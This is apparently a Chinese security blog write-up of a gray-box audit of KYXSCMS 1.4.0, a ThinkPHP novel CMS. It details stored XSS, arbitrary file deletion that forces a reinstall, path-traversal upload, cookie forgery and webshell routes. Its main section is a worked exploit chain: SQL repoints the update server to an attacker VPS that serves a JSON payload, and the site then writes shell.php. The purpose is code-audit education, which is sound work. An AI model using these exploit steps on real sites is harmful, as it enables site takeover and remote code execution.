|
KYXSCMS 灰盒测试原创 DayDay [url=]moonsec[/url] 2022-03-01 14:43
收录于话题
#投稿3个
#代码审计2个
KYXSCMS 灰盒测试
1
前言
狂雨小说CMS是一个基于TP5.1.33框架的小说内容管理系统。缩写为KYXSCMS。灵活,方便,人性化设计简单易用是最大的特色,是快速架设小说类网站首选,只需5分钟即可建立一个海量小说的行业网站,批量采集目标网站数据或使用数据联盟,即可自动采集获取大量数据。内置标签模版,即使不懂代码的前端开发者也可以快速建立一个漂亮的小说网站。
本次漏洞挖掘为灰盒测试,使用黑盒测试的直觉定位可能存在的漏洞点,再使用白盒审计的代码理解力去分析漏洞成因,故黑+白=灰。使用该方法挖到的漏洞均有”*“标识,其余漏洞点则大部分为黑盒得到。如果想看看有什么漏洞建议顺序阅读,如果只想学习审计流程思路,建议直接阅读最后的【任意文件写入】
测试系统为1.4.0最新版,站长之家下载;使用PhpStudyV8搭建;测试环境为Windows10+ PHP5.6.9 + Mysql5.7.26。
正文开始。(PS:带有*号标识的为本文重点,最重点为文末最后的【任意文件写入】)
2
漏洞点:
【XSS-1】后台文章编辑器 
前台点击文章即可触发。
【XSS-2】后台广告管理+模板管理这里的主要原因是该系统写入数据库的所有数据都没有XSS的过滤
step1:添加广告
 
step2:模板调用,任意一处插入即可。
 
【XSS-3】直接修改模板修改模板添加普通的XSS的paylaod保存即可。
【GetShell】直接修改模板修改模板添加普通的一句话木马保存即可。
【*任意文件删除-1】数据管理-->小说管理-->添加-->删除step1:在网站根目录新建一个测试目录,目录下新建测试文件
 
step2:后台数据管理-->小说管理-->添加,手动输入路径
 
此时保存后,数据库中Novel表中的pic字段值就为../../test/testdel.txt了。
step3:点击删除
 
step4:成功删除
 
代码位置:
漏洞点在application/admin/model/Novel.php
 
由于添加时封面路径可控,即存入数据库的pic字段的值可控。并且,整段代码并无任何过滤.或/的行为,这就造成了任意文件删除。
删除点在extend/org/File.php
 
通过动态调试得到的信息可以看到,最终unlink函数中的$filename的值就是我们控制的pic字段的原值,没有任何处理限制就直接删除了。
查找用法,得到如下几处漏洞点
【任意文件删除-2】文章管理处,步骤同上。代码位置
漏洞点在application/admin/model/News.php#127
【任意文件删除-3】文章编辑处将之前的点击删除 改为点击编辑,修改掉封面路径并保存可以达到同样的效果。
代码位置
漏洞点在application/admin/model/News.php#95
【任意文件删除-4】小说编辑处漏洞点在application/admin/model/Novel.php#110
【任意文件删除-5、6】分别为
1.用户管理--上传头像处步骤同上(删除用户触发)
2.管理章节处(导入章节),先随便上传一个txt,然后手动修改路径点击提交,这里会验证分割字符,可以自定义为空格,或者使用默认的换行应该可以通过大部分文件的验证了。
 
【*配合任意文件删除导致系统重装】利用任意一处删除漏洞点,删除../../application/install/data/install.lock(此处示例利用的点为小说管理处的删除)
删完就这样了:
 
然后直接访问http://www.kyxs.com/install/index重装(差点以为不能重装)
访问http://www.kyxs.com/index/即可重装
【路径穿越上传】可以将文件上传至任意目录下,可以上传html(但会重写文件名并不返回路径),如果返回路径的话可以算作一个文件上传XSS
http://www.kyxs.com/admin/upload/file?path=../../
代码位置:
application/admin/controller/Upload.php#16(pic方法)或26(file方法)
 
 
原因均为path参数用户可控且五过滤。没明白开发者设置这个参数存在的意义是什么。
【文件包含GetShell】模板功能的绕圈玩法上传Logo处上传图片马会返回路径
 
模板编辑处可使用模板语法包含该图片,这里在footer.html处修改
 
访问主页即可触发
 
【恶意刷积分&经验】只需普通用户登录重复请求
http://www.kyxs.com/user/user/add_exp_points即可刷积分
【*登录鉴别is_login()函数逻辑缺陷】伪造Cookie获得任意账号的登录状态。
 
可以伪造任意账号的登陆状态,此处利用方式为刷用户积分的请求。同样的,由于存在该登录状态鉴别的逻辑缺陷,会导致普通用户的各种水平越权。(除密码修改,因为密码修改处验证了当前用户密码)。后台管理员身份验证方式为Session,所以是不能垂直向上越权的。
代码位置:
application/common.php#17-46
 

如代码所示,仅仅使用了sha1算法进行hash之后校验,像这样甚至可以伪造一个不存在的用户:
 
【任意密码重置】忘记密码拦截包,修改邮箱地址即可收到验证码
【*任意文件写入】利用系统更新功能0x01先分析调用链
更新方法在:application/admin/controller/Upgrade.php#72
public function update(){ $Upgrade=model('upgrade'); if(false !== $up_return=$Upgrade->updates()){ return json(['code'=>1,'number'=>$up_return],200); }else{ return json(['code'=>0,'error'=>$Upgrade->getError()],200); }}
逻辑很简单,else分支是返回错误响应,这里需要进入if分支,所以进入$Upgrade->updates()方法继续看
跳转到:application/admin/model/Upgrade.php#54
public function updates(){ $num=Request::get('num',0); $upArray=$this->upContent(); $upCode=Http::doGet(Config::get('web.official_url').'/'.$upArray[$num]['file_name']); if(!$upCode){ //圈1 $this->error="读取远程升级文件错误,请检测网络!"; return false; } $dir = dirname($upArray[$num]['stored_file_name']); if(!is_dir($dir)) mkdir($dir,0755,true); if(false ===@file_put_contents($upArray[$num]['stored_file_name'],$upCode)){ //圈2 $this->error="保存文件错误,请检测文件夹写入权限!"; return false; } return $num+1;}
先看整体逻辑,因为肯定不想让程序执行出错,所以最关注的点应该是怎么样能不进入returnfalse的分支。①所以需要$upCode不为false;②系统安装时需要网站目录下所有文件夹的可读可写权限,所以只要保存路径为网站根目录下,就不存在保存文件错误。
这样,重点就放在了1.$this->upContent()方法和2.Http::doGet这个请求方法,依次看
1. 跳转到:application/admin/model/Upgrade.php#72逐行解读upContent()方法
public function upContent($id=null,$type=null,$model='updata'){ $content=Cache::get('update_list'); if(!$content){ $url =Config::get('web.official_url').'/upgrade/'.$model.'/'.$id; if($type){ $url = $url.'/'.$type; } $content=Http::doGet($url,30,$this->oauth_access_token); $content=json_decode($content,true); Cache::set('update_list',$content); } return $content;}
首先尝试从缓存中获取update_list如果获取到就直接return了,这里要想利用的话,肯定是要清理一下系统缓存的(后台有清理功能)
那么进入if,从配置中获取web.official_url,然后拼接/upgrade/updata/$id,对$id没有要求,且因为调用的时候没有传入参数,故这里都是使用默认的参数值,if($type)也是进不去的。
接下来注意到向Http::doGet第三个参数位置传入了$this->oauth_access_token,跟进doGet()大概看了一下,仅仅是作为一个HTTP头来做验证的,而如果为了单纯发请求的话,对这个参数没有任何要求。如下图:
 
再接下来就是使用json_decode解析数据并写入缓存了(回想upContent()方法首先判断的就是有没有缓存)
2. 跳转到:extend/net/Http.php#46逐行解读doGet()方法,见上图。
因为在updates()方法中调用doGet时只传入了url,且从这段代码中不难看出,对于URL的只是做了添加http://的简单拼接,并没有限制,如果URL可控的话,就可以让程序发起向任意服务器的请求了。
调用链分析完毕
可以得知:1.url可控的话可以向任意服务器发起http请求;
2.upContent()方法返回一个数组,且是经过$content=json_decode($content,true)处理后的数组,所以原始响应数据应该为json格式的。
总结来说:如果请求目标(url)可控,那么$content可控,即$upArray可控;而如果$upArray可控的话,就能够让程序去请求服务器上的指定资源了,即原始响应数据可控。
0x02请求目标是可控的
管理后台提供了SQL语句执行的功能
 
而关键的服务器地址恰恰是存储在数据库中的config表中的92条记录
 
这样就可以通过执行SQL语句来修改为任意的服务器地址了
 
0x03指定请求资源
回头再看看请求资源文件名的方式是什么
public function updates(){ $num=Request::get('num',0); $upArray=$this->upContent(); $upCode=Http::doGet(Config::get('web.official_url').'/'.$upArray[$num]['file_name']); if(!$upCode){ $this->error="读取远程升级文件错误,请检测网络!"; return false; } $dir = dirname($upArray[$num]['stored_file_name']); if(!is_dir($dir)) mkdir($dir,0755,true); if(false ===@file_put_contents($upArray[$num]['stored_file_name'],$upCode)){ $this->error="保存文件错误,请检测文件夹写入权限!"; return false; } return $num+1;}
通过$upArray的使用方法不难看出,这是一个二维数组,num默认为0,也就是$upArray[0]['file_name']和$upArray[0]['stored_file_name']两个元素
这里的$upCode并非字面意思,而是获取到了具体的数据,且在下边的代码中会写入$upArray[0]['stored_file_name']名字的一个文件中。
所以代码逻辑就是,请求获取服务器网站根目录的$upArray[0]['file_name']文件,将其写入$upArray[0]['stored_file_name']中。
同时,由于upContent()方法中请求的是拼接了/upgrade/updata/$id,也就是http://my-vps-ip:port/upgrade/updata/$id,的url。所以需要在http://my-vps-ip:port/upgrade/updata/下写好一个文件(index.html为例)因为$id是个num,且不重要。而且是http协议的请求,没有指定请求的文件而仅仅是目录,按照默认网站服务器配置规则,一般会默认访问index.html(注意不是仅仅起个临时服务能解决的哦,用python起的验证过是不行)
而index.html的内容,需要写为:
{"0":{"file_name":"exp.txt","stored_file_name":"shell.php"}}
接着,还需要在自己的Web服务根目录下新建exp.txt,写入<?phpphpinfo();?>。
0x04利用!
在VPS上起一个Web服务:
 
创建文件1:
 
创建文件2
 
只需请求http://www.kyxs.com/admin/upgrade/update,即可在网站根目录下写入shell.php!
 
事实上,之前提到的先使用后台有缓存清理功能,但事实上是不好用的。
这个清理缓存功能清理不了runtime/cache下的.php缓存,而事实上我在清理了缓存之后,Cache::get('update_list')还是可以获取数据,全局搜索发现是在这里还有存储:
 
所以说如果是实际的站点的话,还需要确定官方的更新文件中file_name和stored_file_name的值才能进行利用。。。。。。。。
总结本次灰盒测试主要的技术点在于对MVC框架的理解,笔者认为代码审计的基础能力其实就是对”创造“和”破坏“的关系,懂得了如何去写功能才会有能力去挖掘功能点中存在的问题。这篇文章实际上就最后一个漏洞的描述比较清晰(前言有提到),也是由于想到其他漏洞点原理过于简单不适合大篇幅赘述。总的来说,KYXSCMS是比较适合新手去实战联系代码审计的能力的。在此给小伙伴们提一个还能进一步挖掘的点就是这个CMS还有一些phar反序列化问题未在本文说明,有兴趣的可以去研究一下TP5.1.3x的反序列化漏洞。
推荐学习:https://github.com/Mochazz/ThinkPHP-Vuln/tree/master/ThinkPHP5
|
|